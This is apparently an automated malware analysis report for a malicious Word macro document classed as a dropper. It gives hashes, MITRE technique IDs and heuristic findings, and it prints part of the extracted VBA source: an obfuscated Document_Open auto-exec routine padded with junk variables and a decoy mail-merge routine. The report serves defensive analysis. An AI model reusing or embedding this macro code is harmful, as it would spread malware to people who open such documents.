Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5a4e5723e8774f03…

MALICIOUS

Office (OOXML)

112.9 KB Created: 2019-07-04 15:34:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-09-30
MD5: 16545303a95cce51093b4eece9d09e66 SHA-1: b3c0e378d852b5d4de2c711a32dc8a490cad0533 SHA-256: 5a4e5723e8774f03cd2bad5e98073b10a6042c935e112f5c28195047680422f3
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious OOXML document containing a VBA project with a Document_Open macro. This macro is configured to execute a secondary payload, as indicated by the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic firing with 'exec=Shell'. The ClamAV detection name 'Doc.Dropper.Agent-7014523-0' further supports its role as a dropper. The specific payload or download URL is not directly extractable from the provided VBA code, leading to an unknown family classification.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-7014523-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7014523-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6719 bytes
SHA-256: 151424c1378bbf936572130c79ea1b574d43ac16bc5d42490a560fd738bab0d2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub ControlWord()
    Dim objWord As New Word.Application
    Dim rsContacts As New ADODB.Recordset
    Dim strLtrContent As String
    rsContacts.ActiveConnection = CurrentProject.Connection
    rsContacts.Open "tblContacts"
    
    objWord.Documents.Add
    
    Do While Not rsContacts.EOF
      strLtrContent = rsContacts("FirstName") & " " & rsContacts("LastName")
      strLtrContent = strLtrContent & rsContacts("Address") & vbCrLf
      strLtrContent = strLtrContent & rsContacts("City") & ", " & rsContacts("Region")
      strLtrContent = strLtrContent & "  " & rsContacts("PostalCode")
      strLtrContent = strLtrContent & "Dear " & rsContacts("FirstName") & " "
      strLtrContent = strLtrContent & rsContacts("LastName") & ":"
    
        objWord.Selection.EndOf
        objWord.Selection.Text = strLtrContent
    
        objWord.Selection.EndOf
        objWord.Selection.InsertBreak
        
        rsContacts.MoveNext
    Loop
    objWord.Visible = True
    objWord.PrintPreview = True
End Sub


Function lugger(horsewoman, brydges, aristides)
#If Win64 Then
Dim auxilia As Variant
Dim anathematize As Integer
Dim schoolmate As LongPtr
Dim agathis As LongPtr
Dim dowdiness As LongPtr
Dim sauciness As String
Dim millwright As LongPtr
Dim rifled As LongPtr
#Else
Dim agathis As Long
Dim alto As Byte
Dim schoolmate As Long
Dim carboy As Byte
Dim millwright As Long
Dim deperdition As Variant
Dim dowdiness As Long
Dim goodness As Variant
Dim rifled As Long
Dim aeronautical As String
Dim limbic As Variant
#End If
diamond = diamond
methanol = "maximizing"
agathis = horsewoman
rifled = aristides
bazeingr = VBA.Math.Round(455.7117 + 88)
millwright = brydges
euglenophyta = 46
aphonous = 17050
lamba = 427088
indiaman = SLN(lamba, aphonous, euglenophyta)

bazeingr = Rnd(270.6004 + 118)
schoolmate = 63 + 39 + 41 - 144
acronymic ByVal schoolmate, agathis, millwright, rifled, dowdiness
bazeingr = bazeingr \ 187
End Function
Private Sub Document_Open()
Dim microscopically As String
Dim longing As String
tamandua = "attainable"
barrels = "choppy"
intercommunity
cheremis = 44
aeroscope = 34761
pinguecula = 226617
huddle = SLN(pinguecula, aeroscope, cheremis)
End Sub
attractability = albania.Name
scolytus = 5844
colorist = Right(attractability, scolytus)
hone = despritepigram.ornamentation(colorist)
charley = 31
unanswered = 23719
cymbid = 186242
impersonal = SLN(cymbid, unanswered, charley)

gaterum = "similar"
masdevallia = "ladino"
#If Win64 Then
Dim christianity As Variant
Dim eyedness As LongPtr
Dim breechesmaker As LongPtr
Dim fivehitter As Variant
#Else
Dim masterdom As String
Dim breechesmaker As Long
Dim aythya As String
Dim eyedness As Long
#End If
bootlegging = 44 - 44
actinomorphic = "assumiing"
bruchus = "hi" & "ghfl" & "own"
formosan = 4096
trilobate = 94
fearing = 31220
propylaeum = 282632
fearing = Pmt(0.0721, trilobate, -31870, propylaeum, 0)

hymenophyllaceae = "mortify"
babysitter = "cr" & "aggy"
pearliness = "davy"
allegorical = 34
drifting = 38056
lunular = 321649
ropedancing = SLN(lunular, drifting, allegorical)

bodacious = hone
attract = "fluoroboride"
hokkaido = "offsite"
eyedness = dissocial(bodacious)
biogenetic = "ad" & "vances"
phoenicophorium = "nether"
#If Win64 Then
Dim down As Integer
Dim dabchick As LongPtr
colloquially = "transpose"
aborticide = "fl" & "apdoodle"
Dim boreal As LongPtr
taken = 116 - 24 - 36 + 1256
#ElseIf Win32 Then
inquirendum = "chorizon"
copperbottomed = "hominidae"
Dim dabchick As Long
abbe = 128 + 367
Dim boreal As Long
taken = abbe + 2659

#End If
Dim nervous As Variant
Dim antirrhinum As Long
dabchick = 0
breechesmaker = eyedness + taken
boreal = 1
overmaster 
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 30208 bytes
SHA-256: a65c1fba203323db6ab65e928c6f3102cfe7c7e0ccadf6f38b4ce088f75ace31

Open this report in the interactive analyzer, or submit your own file for analysis.